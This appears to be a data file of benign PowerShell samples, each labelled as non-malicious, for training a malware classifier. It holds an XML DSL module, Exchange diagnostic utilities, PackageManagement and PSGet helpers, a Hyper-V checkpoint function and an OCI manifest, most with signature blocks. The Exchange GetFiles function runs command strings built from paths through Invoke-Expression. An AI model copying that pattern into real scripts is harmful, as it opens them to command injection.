[ValidateNotNullOrEmpty()] [Alias("StyleSheet")] [String[]]$Xslt ) BEGIN { $StyleSheet = New-Object System.Xml.Xsl.XslCompiledTransform $StyleSheet.Load(([System.Xml.XmlReader]::Create((New-Object System.IO.StringReader @" <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" indent="yes"/> <xsl:template match="/|comment()|processing-instruction()"> <xsl:copy> <xsl:apply-templates/> </xsl:copy> </xsl:template> <xsl:template match="*"> <xsl:element name="{local-name()}"> <xsl:apply-templates select="@*|node()"/> </xsl:element> </xsl:template> <xsl:template match="@*"> <xsl:attribute name="{local-name()}"> <xsl:value-of select="."/> </xsl:attribute> </xsl:template> </xsl:stylesheet> "@)))) [Text.StringBuilder]$XmlContent = [String]::Empty } PROCESS { switch($PSCmdlet.ParameterSetName) { "Content" { $null = $XmlContent.AppendLine( $Content -Join "`n" ) } "Path" { foreach($file in Get-ChildItem $Path) { [Xml]$Xml = Get-Content $file Convert-Node -Xml $Xml $StyleSheet } } "Xml" { $Xml | Convert-Node $StyleSheet } } } END { if($PSCmdlet.ParameterSetName -eq "Content") { [Xml]$Xml = $XmlContent.ToString() Convert-Node -Xml $Xml $StyleSheet } } } Set-Alias rmns Remove-XmlNamespace -EA 0 function New-XDocument { #.Synopsis # Creates a new XDocument (the new xml document type) #.Description # This is the root for a new XML mini-dsl, akin to New-BootsWindow for XAML # It creates a new XDocument, and takes scritpblock(s) to define it's contents #.Parameter root # The root node name #.Parameter version # Optional: the XML version. Defaults to 1.0 #.Parameter encoding # Optional: the Encoding. Defaults to UTF-8 #.Parameter standalone # Optional: whether to specify standalone in the xml declaration. Defaults to "yes" #.Parameter args # this is where all the dsl magic happens. Please see the Examples. :) # #.Example # [string]$xml = New-XDocument rss -version "2.0" { # channel { # title {"Test RSS Feed"} # link {"http`://HuddledMasses.org"} # description {"An RSS Feed generated simply to demonstrate my XML DSL"} # item { # title {"The First Item"} # link {"http`://huddledmasses.org/new-site-new-layout-lost-posts/"} # guid -isPermaLink true {"http`://huddledmasses.org/new-site-new-layout-lost-posts/"} # description {"Ema Lazarus' Poem"} # pubDate {(Get-Date 10/31/2003 -f u) -replace " ","T"} # } # } # } # # C:\\PS>$xml.Declaration.ToString() ## I can't find a way to have this included in the $xml.ToString() # C:\\PS>$xml.ToString() # # <?xml version="1.0" encoding="UTF-8" standalone="yes"?> # <rss version="2.0"> # <channel> # <title>Test RSS Feed</title> # <link>http ://HuddledMasses.org</link> # <description>An RSS Feed generated simply to demonstrate my XML DSL</description> # <item> # <title>The First Item</title> # <link>http ://huddledmasses.org/new-site-new-layout-lost-posts/</link> # <guid isPermaLink="true">http ://huddledmasses.org/new-site-new-layout-lost-posts/</guid> # <description>Ema Lazarus' Poem</description> # <pubDate>2003-10-31T00:00:00Z</pubDate> # </item> # </channel> # </rss> # # # Description # ----------- # This example shows the creation of a complete RSS feed with a single item in it. # # NOTE that the backtick in the http`: in the URLs in the input is unecessary, and I added the space after the http: in the URLs in the output -- these are accomodations to PoshCode's spam filter. Backticks are not need in the input, and spaces do not appear in the actual output. # # #.Example # [XNamespace]$atom="http`://www.w3.org/2005/Atom" # C:\\PS>[XNamespace]$dc = "http`://purl.org/dc/elements/1.1" # # C:\\PS>New-XDocument ($atom + "feed") -Encoding "UTF-16" -$([XNamespace]::Xml +'lang') "en-US" -dc $dc { # title {"Test First Entry"} # link {"http`://HuddledMasses.org"} # updated {(Get-Date -f u) -replace " ","T"} # author { # name {"Joel Bennett"} # uri {"http`://HuddledMasses.org"} # } # id {"http`://huddledmasses.org/" } # # entry { # title {"Test First Entry"} # link {"http`://HuddledMasses.org/new-site-new-layout-lost-posts/" } # id {"http`://huddledmasses.org/new-site-new-layout-lost-posts/" } # updated {(Get-Date 10/31/2003 -f u) -replace " ","T"} # summary {"Ema Lazarus' Poem"} # link -rel license -href "http`://creativecommons.org/licenses/by/3.0/" -title "CC By-Attribution" # dc:rights { "Copyright 2009, Some rights reserved (licensed under the Creative Commons Attribution 3.0 Unported license)" } # category -scheme "http`://huddledmasses.org/tag/" -term "huddled-masses" # } # } | % { $_.Declaration.ToString(); $_.ToString() } # # <?xml version="1.0" encoding="UTF-16" standalone="yes"?> # <feed xml:lang="en-US" xmlns="http ://www.w3.org/2005/Atom"> # <title>Test First Entry</title> # <link>http ://HuddledMasses.org</link> # <updated>2009-07-29T17:25:49Z</updated> # <author> # <name>Joel Bennett</name> # <uri>http ://HuddledMasses.org</uri> # </author> # <id>http ://huddledmasses.org/</id> # <entry> # <title>Test First Entry</title> # <link>http ://HuddledMasses.org/new-site-new-layout-lost-posts/</link> # <id>http ://huddledmasses.org/new-site-new-layout-lost-posts/</id> # <updated>2003-10-31T00:00:00Z</updated> # <summary>Ema Lazarus' Poem</summary> # <link rel="license" href="http ://creativecommons.org/licenses/by/3.0/" title="CC By-Attribution" /> # <dc:rights>Copyright 2009, Some rights reserved (licensed under the Creative Commons Attribution 3.0 Unported license)</dc:rights> # <category scheme="http ://huddledmasses.org/tag/" term="huddled-masses" /> # </entry> # </feed> # # # Description # ----------- # This example shows the use of a default namespace, as well as additional specific namespaces for the "dc" namespace. It also demonstrates how you can get the <?xml?> declaration which does not appear in a simple .ToString(). # # NOTE that the backtick in the http`: in the URLs in the input is unecessary, and I added the space after the http: in the URLs in the output -- these are accomodations to PoshCode's spam filter. Backticks are not need in the input, and spaces do not appear in the actual output.# # [CmdletBinding()] Param( [Parameter(Mandatory = $true, Position = 0)] [System.Xml.Linq.XName]$root , [Parameter(Mandatory = $false)] [string]$Version = "1.0" , [Parameter(Mandatory = $false)] [string]$Encoding = "UTF-8" , [Parameter(Mandatory = $false)] [string]$Standalone = "yes" , [AllowNull()][AllowEmptyString()][AllowEmptyCollection()] [Parameter(Position=99, Mandatory = $false, ValueFromRemainingArguments=$true)] [PSObject[]]$args ) BEGIN { $script:NameSpaceHash = New-Object 'Dictionary[String,XNamespace]' if($root.NamespaceName) { $script:NameSpaceHash.Add("", $root.Namespace) } } PROCESS { New-Object XDocument (New-Object XDeclaration $Version, $Encoding, $standalone),( New-Object XElement $( $root while($args) { $attrib, $value, $args = $args if($attrib -is [ScriptBlock]) { # Write-Verbose "Preparsed DSL: $attrib" $attrib = ConvertFrom-XmlDsl $attrib Write-Verbose "Reparsed DSL: $attrib" &$attrib } elseif ( $value -is [ScriptBlock] -and "-CONTENT".StartsWith($attrib.TrimEnd(':').ToUpper())) { $value = ConvertFrom-XmlDsl $value &$value } elseif ( $value -is [XNamespace]) { New-Object XAttribute ([XNamespace]::Xmlns + $attrib.TrimStart("-").TrimEnd(':')), $value $script:NameSpaceHash.Add($attrib.TrimStart("-").TrimEnd(':'), $value) } else { Write-Verbose "XAttribute $attrib = $value" New-Object XAttribute $attrib.TrimStart("-").TrimEnd(':'), $value } } )) } } Set-Alias xml New-XDocument -EA 0 Set-Alias New-Xml New-XDocument -EA 0 function New-XAttribute { #.Synopsys # Creates a new XAttribute (an xml attribute on an XElement for XDocument) #.Description # This is the work-horse for the XML mini-dsl #.Parameter name # The attribute name #.Parameter value # The attribute value [CmdletBinding()] Param([Parameter(Mandatory=$true)]$name,[Parameter(Mandatory=$true)]$value) New-Object XAttribute $name, $value } Set-Alias xa New-XAttribute -EA 0 Set-Alias New-XmlAttribute New-XAttribute -EA 0 function New-XElement { #.Synopsys # Creates a new XElement (an xml tag for XDocument) #.Description # This is the work-horse for the XML mini-dsl #.Parameter tag # The name of the xml tag #.Parameter args # this is where all the dsl magic happens. Please see the Examples. :) [CmdletBinding()] Param( [Parameter(Mandatory = $true, Position = 0)] [System.Xml.Linq.XName]$tag , [AllowNull()][AllowEmptyString()][AllowEmptyCollection()] [Parameter(Position=99, Mandatory = $false, ValueFromRemainingArguments=$true)] [PSObject[]]$args ) # BEGIN { # if([string]::IsNullOrEmpty( $tag.NamespaceName )) { # $tag = $($script:NameSpaceStack.Peek()) + $tag # if( $script:NameSpaceStack.Count -gt 0 ) { # $script:NameSpaceStack.Push( $script:NameSpaceStack.Peek() ) # } else { # $script:NameSpaceStack.Push( $null ) # } # } else { # $script:NameSpaceStack.Push( $tag.Namespace ) # } # } PROCESS { New-Object XElement $( $tag while($args) { $attrib, $value, $args = $args if($attrib -is [ScriptBlock]) { # then it's content &$attrib } elseif ( $value -is [ScriptBlock] -and "-CONTENT".StartsWith($attrib.TrimEnd(':').ToUpper())) { # then it's content &$value } elseif ( $value -is [XNamespace]) { New-Object XAttribute ([XNamespace]::Xmlns + $attrib.TrimStart("-").TrimEnd(':')), $value $script:NameSpaceHash.Add($attrib.TrimStart("-").TrimEnd(':'), $value) } elseif($value -match "-(?!\\d)\\w") { $args = @($value)+@($args) } elseif($value -ne $null) { New-Object XAttribute $attrib.TrimStart("-").TrimEnd(':'), $value } } ) } # END { # $null = $script:NameSpaceStack.Pop() # } } Set-Alias xe New-XElement Set-Alias New-XmlElement New-XElement function ConvertFrom-XmlDsl { Param([ScriptBlock]$script) $parserrors = $null $global:tokens = [PSParser]::Tokenize( $script, [ref]$parserrors ) [Array]$duds = $global:tokens | Where-Object { $_.Type -eq "Command" -and !$_.Content.Contains('-') -and ($(Get-Command $_.Content -Type Cmdlet,Function,ExternalScript -EA 0) -eq $Null) } [Array]::Reverse( $duds ) [string[]]$ScriptText = "$script" -split "`n" ForEach($token in $duds ) { # replace : notation with namespace notation if( $token.Content.Contains(":") ) { $key, $localname = $token.Content -split ":" $ScriptText[($token.StartLine - 1)] = $ScriptText[($token.StartLine - 1)].Remove( $token.StartColumn -1, $token.Length ).Insert( $token.StartColumn -1, "'" + $($script:NameSpaceHash[$key] + $localname) + "'" ) } else { $ScriptText[($token.StartLine - 1)] = $ScriptText[($token.StartLine - 1)].Remove( $token.StartColumn -1, $token.Length ).Insert( $token.StartColumn -1, "'" + $($script:NameSpaceHash[''] + $token.Content) + "'" ) } # insert 'xe' before everything (unless it's a valid command) $ScriptText[($token.StartLine - 1)] = $ScriptText[($token.StartLine - 1)].Insert( $token.StartColumn -1, "xe " ) } Write-Output ([ScriptBlock]::Create( ($ScriptText -join "`n") )) } Export-ModuleMember -alias * -function New-XDocument, New-XAttribute, New-XElement, Remove-XmlNamespace, Convert-Xml, Select-Xml, Format-Xml # SIG # Begin signature block # MIIIDQYJKoZIhvcNAQcCoIIH/jCCB/oCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR # AgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUgCBQLQ8Wt+HKMRoDZyZDej8R # Mm2gggUrMIIFJzCCBA+gAwIBAgIQKQm90jYWUDdv7EgFkuELajANBgkqhkiG9w0B # AQUFAD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w0BCQQxFgQUEWnS3I6l # alqc5wdzWVBpUus0z2EwDQYJKoZIhvcNAQEBBQAEggEAJd58dsnQVvLYhpVfJvod # 4N8AFB8qlUGJ4jV+JnzLqhLgZMXNw3O9p3FcUEdty83YhvIrqy8OMY7TVjPik6+K # MHksSLLMjED4QqDy/NvZR9pgamum92MuvI6XgbSgciOX/vsBFrQZtXnQYTusxSJU # TB9ejv3zXW0WipyLVMf1e9n+5kZsgSYoEDRSAxlcho5ZdX5tHymRJsJZ1XKcAfa4 # MOz40u9abArlAUd0s/PcjrmtkCT9AAP8fm8ybd/kUINyCj4m1thpWke9BJb1MMDG # HJiuFUDDI/KRUwN8661A3+EhIQZccFDPHIBxbv9OE6vy/5hDhHjWi1+Qv3SWJai4 # Jg== # SIG # End signature block
combined_dataset/train/non-malicious/sample_8_97.ps1
sample_8_97.ps1
#************************************************ # utils_Exchange_all_exchange_versions_withoutpowershellaccess.ps1 # Version 2.0.1 # Date: 04-12-2013 # Author: Brian Prince - brianpr@microsoft.com # Description: Utility functions for use by Exchange SDP 3.0+ manifests #************************************************ # <summary> # This function writes output to StdOut and script debug log so any problems during run-time can be more easily identified. # </summary> function Write-DebugLog($data) { # Init Debug log if not inited Ensure-DebugLog -CallerInvocation $MyInvocation $dataEntry = [System.DateTime]::Now.ToString() + " - " + $data $dataEntry | WriteTo-StdOut $dataEntry | Out-File -FilePath $script:_debugLog -Append } # <summary> # This function collects the debug log and adds it to the output # </summary> Function Collect-DebugLog { if (-not [string]::IsNullOrEmpty($script:_debugLog) -and (Test-Path $script:_debugLog)) { # Signal to the script that this log should be collected CollectFiles -filestocollect $script:_debugLog -filedescription "Debug Log" -sectiondescription "Debug" -noFileExtensionsOnDescription } } # <summary> # Makes sure that the debug log file is initialized # </summary> function Ensure-DebugLog($CallerInvocation) { if ([string]::IsNullOrEmpty($script:_debugLog)) { $prefix = [string]::Empty $CallerInvocation | WriteTo-StdOut if (-not [string]::IsNullOrEmpty($MyInvocation.ScriptName)) { $prefix = ([IO.FileInfo]$CallerInvocation.ScriptName).BaseName } # Initialize our Debug Log $script:_debugLog = Join-Path $pwd.Path.ToString() "$($env:COMPUTERNAME)_$($prefix)_DebugLog.log" "Debug Log Initialized" | Out-File -FilePath $script:_debugLog WriteTo-StdOut "Debug Log File Initialized: $($script:_debugLog)" } } # <summary> # Formats an Exception into a string with Message, Type, StackTrace # and Inner Exception walking. # </summary> # <param name="$Exception">The root exception to format</param> # <returns>A formatted Exception description string</returns> Function Format-Exception( [Exception]$Exception) { if ($Exception -eq $null) { return [string]::Empty } $sb = New-Object Text.StringBuilder $current = $exception while ($null -ne $current) { $sb.AppendLine("Message: {0}" -f $current.Message) > $null $sb.AppendLine("Type: {0}" -f $current.GetType().FullName) > $null $sb.AppendLine("Stack Trace:") > $null $sb.AppendLine($current.StackTrace) > $null if ($null -ne $current.InnerException) { $sb.AppendLine("Inner Exception:") > $null } $current = $current.InnerException } return $sb.ToString() } # <summary> # Logs a powershell error record to the debug log # </summary> # <param name="$ErrorRecord">The Error Record to Log</param> Function Log-Error($ErrorRecord) { $sb = New-Object Text.StringBuilder $sb.AppendLine("ERROR: " + $_) | Out-Null $sb.AppendLine($ErrorRecord.InvocationInfo.ScriptName + ": Line " + $ErrorRecord.InvocationInfo.ScriptLineNumber) | Out-Null $sb.AppendLine("Stack Trace: " + $ErrorRecord.ScriptStackTrace) | Out-Null if ($null -ne $_.Exception) { $sb.AppendLine((Format-Exception $_.Exception)) | Out-Null } Write-DebugLog $sb.ToString() } # GetExchangeVersion Function function GetExchangeVersionInstalled { If ($global:wasGetExchangeVersionInstalledAlreadyCalled -eq $false) #Skip if we already the info cached { # Check installed version of Exchange Server if ((Test-Path "HKLM:\SOFTWARE\Microsoft\ExchangeServer\v15\Setup") -eq $true) { ("Exchange 2013 Detected") | WriteTo-StdOut $global:exinstall = (get-itemproperty -Path HKLM:\SOFTWARE\Microsoft\ExchangeServer\v15\Setup -Name MsiInstallPath).MsiInstallPath If ($null -ne $global:exinstall) { $global:ExchangeVersion = 15 # Check For Roles $global:CasRoleInstalled = Test-Path ("HKLM:\SOFTWARE\Microsoft\ExchangeServer\v15\CafeRole") $global:MbxRoleInstalled = Test-Path ("HKLM:\SOFTWARE\Microsoft\ExchangeServer\v15\MailboxRole") $global:ExchangeInstallPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\ExchangeServer\v15\Setup" -Name MsiInstallPath -ErrorAction SilentlyContinue).MsiInstallPath Write-DebugLog ("Exchange Server Installed, Path: {0}" -f $global:ExchangeInstallPath) $global:ExchInstalled = $true $global:exbin = Join-Path -Path $global:exinstall -ChildPath "bin\" $global:exscripts = Join-Path -Path $global:exinstall -ChildPath "scripts\" $global:exreg = (Get-Itemproperty HKLM:\SOFTWARE\Microsoft\ExchangeServer\v15) $global:exregSetupKey = (Get-Item HKLM:\SOFTWARE\Microsoft\ExchangeServer\v15\Setup) } } elseIf ((Test-Path "HKLM:\SOFTWARE\Microsoft\ExchangeServer\v14\Setup") -eq $true){ ("Exchange 2010 Detected") | WriteTo-StdOut $global:exinstall = (Get-Itemproperty HKLM:\SOFTWARE\Microsoft\ExchangeServer\v14\Setup -Name MsiInstallPath).MsiInstallPath If ($null -ne $global:exinstall) { $global:ExchangeVersion = 14 $global:ExchInstalled = $true $global:exbin = Join-Path -Path $global:exinstall -ChildPath "bin\" $global:exscripts = Join-Path -Path $global:exinstall -ChildPath "scripts\" $global:exreg = (Get-Itemproperty HKLM:\SOFTWARE\Microsoft\ExchangeServer\v14) $global:exregSetupKey = (Get-Item HKLM:\SOFTWARE\Microsoft\ExchangeServer\v14\Setup) } } ElseIf ((Test-Path "HKLM:\SOFTWARE\Microsoft\Exchange\v8.0") -eq $true){ ("Exchange 2007 Detected") | WriteTo-StdOut $global:ExchangeVersion = 8 $global:ExchInstalled = $true $global:exreg = (get-itemproperty HKLM:\SOFTWARE\Microsoft\Exchange) $global:exbin = Join-Path (get-itemproperty HKLM:\SOFTWARE\Microsoft\Exchange\Setup).MsiInstallPath bin\ $global:exinstall = (get-itemproperty HKLM:\SOFTWARE\Microsoft\Exchange\Setup).MsiInstallPath $global:exscripts = Join-Path (get-itemproperty HKLM:\SOFTWARE\Microsoft\Exchange\Setup).MsiInstallPath scripts\ $global:exregSetupKey = (Get-Item HKLM:\SOFTWARE\Microsoft\Exchange\Setup) } Else{ "Installed Exchange version could not be determined or is lower than 2007." | WriteTo-StdOut ("Installed Exchange version could not be determined or is lower than 2007.") | WriteTo-StdOut $global:ExchInstalled = $false } } Return $global:ExchInstalled } # <summary> # Sets the current section of the result report # </summary> # <param name="$section">The current section of the result report</param> Function Set-ReportSection($section) { $global:_reportSection = $section } # <summary> # Gets the current section of the result report # </summary> # <returns>The current section of the result report</returns> Function Get-ReportSection { return $global:_reportSection } # <summary> # Sets a description of the current activity # </summary> # <param name="$activity">The description of the current activity</param> Function Set-CurrentActivity($Activity) { $global:_activity = $Activity Write-DebugLog ("Current Activity Set to: '$($global:_activity))'") } # <summary> # Gets a description of the current activity # </summary> # <return>The description of the current activity</returns> Function Get-CurrentActivity { Write-DebugLog ("Current Activity returned: '$($global:_activity))'") return $global:_activity } # <summary> # Updates the current Activity with a new status # </summary> Function Update-ActivityProgress($status) { Write-DebugLog ("Updating Activity Progress, Current Activity: '$($global:_activity))'") Write-DiagProgress -Activity $global:_activity -Status $status } function GetFiles( $sourcePath = $null, $prefix = $null, $targetFolder = $null, $filedescription = $null, $reportsection = $null, $include = $null, [switch]$recurse, $newest = $null, $agemaxdays = $null, [switch]$cab) { trap [Exception] { Log-Error $_ Continue } $callingSection = Get-ReportSection $collectFiles = $null if ($null -eq $reportsection){ $reportsection = $callingSection } if ($null -ne $include){$include = "-include " + $include} else {$include = ""} if ($recurse.ispresent) {$rcrs = "-recurse"} else {$rcrs = ""} if ($null -ne $newest) {$newestCount = ("| sort LastWriteTime -Descending | select-object -First " + $newest)} else {$newestCount = ""} if ($null -ne $agemaxdays) {$agemaxdaysCount = ("| Where-Object {`$_.CreationTime -ge (Get-Date).AddDays(-" + $agemaxdays + ")}")} else {$agemaxdaysCount = ""} Write-DebugLog ("Get-ChildItem -path $sourcePath $include $rcrs $newestCount $agemaxdaysCount") $cmdstring = "Get-ChildItem -path '$sourcePath' $include $rcrs $newestCount $agemaxdaysCount" Update-ActivityProgress -Status $cmdstring $collectFiles = Invoke-Expression $cmdstring if ($null -ne $collectFiles){ Write-DebugLog ("Collecting " + $collectFiles.count + " files") if ($null -ne $targetFolder){ $CopyToPath = ($pwd.Path.ToString() + "\" + $targetFolder) } Else{ $CopyToPath = ($pwd.Path.ToString()) } if((Test-Path $CopyToPath) -eq $false){ new-item -path $CopyToPath -type DIR | Out-Null } foreach($file in $collectFiles){ $fp = ($file.tostring()) if ($recurse.ispresent){ $fn = $fp.substring($sourcePath.length,($fp.length-$sourcePath.Length)) if($fn[0] -eq "\"){$fn = $fn.substring(1,($fn.length-1))} $fn = $fn -replace "\\","_" } Else{ if ($null -ne $prefix){ $fn = $prefix + (Split-Path $file -leaf) } Else{ $fn = (Split-Path $file -leaf) } } $cmdstring = "copy-item -path '$file' -destination '$CopyToPath\$fn'" Write-DebugLog ("$cmdstring") Invoke-Expression -Command $cmdstring if ($null -eq $filedescription){$fildescription = $fn} Update-ActivityProgress -Status $file if(-not ($cab.ispresent -or $zip.ispresent)) { CollectFiles -filestocollect ($CopyToPath + "\" + $fn) -filedescription ($filedescription) -sectiondescription $reportsection -noFileExtensionsOnDescription } } if ($cab.ispresent){ $cabFileName = ($targetFolder + ".cab") $pathToCab = (($pwd.Path.ToString()) + "\" + $cabFileName) Write-DebugLog ("PathtoCab: " + $pathToCab) if ($null -eq $filedescription){$filedescription = $targetFolder} Write-DiagProgress -Activity ($GetExchDataStrings.ID_GetExchDataCompressingAct) -Status ($GetExchDataStrings.ID_GetExchDataCompressingStatus + " " + $cabFileName) runcmd -commandToRun ".\mpscab.exe /dir $CopyToPath /f $pathToCab" -fileDescription $filedescription -filesToCollect $pathToCab -sectionDescription $reportsection } if ($zip.ispresent){ #TBD } } Else{Write-DebugLog ("No files met criteria for collection")} } # SIG # Begin signature block # MIIoUgYJKoZIhvcNAQcCoIIoQzCCKD8CAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCBxEO+HYHWyAiHx # tc/Z0IiOljv2bGVwEuQizbpPz7YjRaCCDYUwggYDMIID66ADAgECAhMzAAAEA73V # lV0POxitAAAAAAQDMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjQwOTEyMjAxMTEzWhcNMjUwOTExMjAxMTEzWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQCfdGddwIOnbRYUyg03O3iz19XXZPmuhEmW/5uyEN+8mgxl+HJGeLGBR8YButGV # LVK38RxcVcPYyFGQXcKcxgih4w4y4zJi3GvawLYHlsNExQwz+v0jgY/aejBS2EJY # oUhLVE+UzRihV8ooxoftsmKLb2xb7BoFS6UAo3Zz4afnOdqI7FGoi7g4vx/0MIdi # kwTn5N56TdIv3mwfkZCFmrsKpN0zR8HD8WYsvH3xKkG7u/xdqmhPPqMmnI2jOFw/ # /n2aL8W7i1Pasja8PnRXH/QaVH0M1nanL+LI9TsMb/enWfXOW65Gne5c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8F/N8+A6+Wr # i2BmwISTHFKplk2sqxHM+oy99SPgBws8vO+NLP3yyCGzLbWcXlCwGvOpjx5ZwhQ7 # KqVMFYJ6tbu+mqX711ZxOBaSTCCF/Gbecs0k2hlL/VnoytHmeARRhEwtx+3HbU8a # +I/1nVqoUixuB9qXfg1Px2DA7M0mp5/JXYxcXdEgmGnS/qpkSOWyOIW4H0bCy/h4 # T4HgEuWu # SIG # End signature block
combined_dataset/train/non-malicious/4391.ps1
4391.ps1
function Save-PSGetSettings { if($script:PSGetSettings) { if(-not (Microsoft.PowerShell.Management\Test-Path -Path $script:PSGetAppLocalPath)) { $null = Microsoft.PowerShell.Management\New-Item -Path $script:PSGetAppLocalPath ` -ItemType Directory ` -Force ` -ErrorAction SilentlyContinue ` -WarningAction SilentlyContinue ` -Confirm:$false ` -WhatIf:$false } Microsoft.PowerShell.Utility\Out-File -FilePath $script:PSGetSettingsFilePath -Force ` -InputObject ([System.Management.Automation.PSSerializer]::Serialize($script:PSGetSettings)) Write-Debug "In Save-PSGetSettings, persisted the $script:PSGetSettingsFilePath file" } }
combined_dataset/train/non-malicious/sample_24_60.ps1
sample_24_60.ps1
# # Script module for module 'PackageManagement' # Set-StrictMode -Version Latest Microsoft.PowerShell.Utility\Import-LocalizedData LocalizedData -filename PackageManagement.Resources.psd1 # Summary: PackageManagement is supported on Windows PowerShell 3.0 or later, Nano Server and PowerShellCore $isCore = ($PSVersionTable.Keys -contains "PSEdition") -and ($PSVersionTable.PSEdition -ne 'Desktop') $binarySubPath = '' if ($isCore) { $binarySubPath = Join-Path -Path 'coreclr' -ChildPath 'netstandard2.0' } else { $binarySubPath = 'fullclr' } # Set up some helper variables to make it easier to work with the module $script:PSModule = $ExecutionContext.SessionState.Module $script:PSModuleRoot = $script:PSModule.ModuleBase $script:PkgMgmt = 'Microsoft.PackageManagement.dll' $script:PSPkgMgmt = 'Microsoft.PowerShell.PackageManagement.dll' # Try to import the OneGet assemblies at the same directory regardless fullclr or coreclr $OneGetModulePath = Join-Path -Path $script:PSModuleRoot -ChildPath $script:PkgMgmt $binaryModuleRoot = $script:PSModuleRoot if(-not (Test-Path -Path $OneGetModulePath)) { # Import the appropriate nested binary module based on the current PowerShell version $binaryModuleRoot = Join-Path -Path $script:PSModuleRoot -ChildPath $binarySubPath $OneGetModulePath = Join-Path -Path $binaryModuleRoot -ChildPath $script:PkgMgmt } $PSOneGetModulePath = Join-Path -Path $binaryModuleRoot -ChildPath $script:PSPkgMgmt $OneGetModule = Import-Module -Name $OneGetModulePath -PassThru $PSOneGetModule = Import-Module -Name $PSOneGetModulePath -PassThru # When the module is unloaded, remove the nested binary module that was loaded with it if($OneGetModule) { $script:PSModule.OnRemove = { Remove-Module -ModuleInfo $OneGetModule } } if($PSOneGetModule) { $script:PSModule.OnRemove = { Remove-Module -ModuleInfo $PSOneGetModule } } # SIG # Begin signature block # MIIoNwYJKoZIhvcNAQcCoIIoKDCCKCQCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAu+2bjkKZwIc24 # sUnQmGnTVuZ6xttIA9Ea89zWbpdeVaCCDYUwggYDMIID66ADAgECAhMzAAADri01 # UchTj1UdAAAAAAOuMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwODU5WhcNMjQxMTE0MTkwODU5WjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljc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ixokIHRvyD+lZe/+792H8Qw6o2oQuHqfnJ9MfO # DCbH0s8mgwkIMpfVcltkMDfSiF1jFujT9Nb3rwZKuq3NDrr21rzBJJft59JGugo5 # 4QeTRy78s2UlLs1Ce1KlWWRYTuke5/+Do5hW55hn7Oe81cJUCBaT0VfOkBbHdUy0 # Sl5Gak/bYG+kTJywWiGeCBx35U4cDapOFZ9Mo3eB7QnbiFjpz0WqLMcFA7VbApjQ # dmKEbnIChJFHgxDPZQKOL4WS2esg9HX+aVpjdMC6yyRsfiEpoLDkarnVyWBXcu6m # V+QFsAy08pI0mRm+Q/kAJZw8P4Duyo9KEiupGXIdCRFjvNgO77zfg20vY6yznSuS # PogaXjYdc+G12UsHz3jiVEV1eK7KFKxkxBxivGvuHCsZ+1YDRiFHY+62Rv0/sY84 # ZERIFhx+vcgX7x03oo4ogy+SoEFNKOFQx5QuDzL1eFBNcNBGH9AFFK4CuyYiUvdG # LAqaphSTBN3Hje3KUWCwef6/tqs7GENSs5fcQ/YiS0exsjYbJsxpBiOlFaSjDTgO # j404t4u3+26e466uzvNz5gnABmK6TbonyRZn # SIG # End signature block
combined_dataset/train/non-malicious/2443.ps1
2443.ps1
function Checkpoint-OnlineVM { [CmdletBinding(SupportsShouldProcess,ConfirmImpact = 'High')] param ( [Parameter(Mandatory, ValueFromPipeline)] [ValidateNotNullOrEmpty()] [Microsoft.HyperV.PowerShell.VirtualMachine[]]$VM ) process { foreach ($v in $VM) { if ($PSCmdlet.ShouldProcess($v.Name,'VM shutdown')) { $v | Stop-VM -Force -PassThru | Checkpoint-VM } } } }
combined_dataset/train/non-malicious/sample_0_3.ps1
sample_0_3.ps1
# # Module manifest for module 'OCI.PSModules.Queue' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Queue.dll' # Version number of this module. ModuleVersion = '92.1.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = '2c5d60ce-a44b-46ce-97f7-351848bec841' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Queue Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. 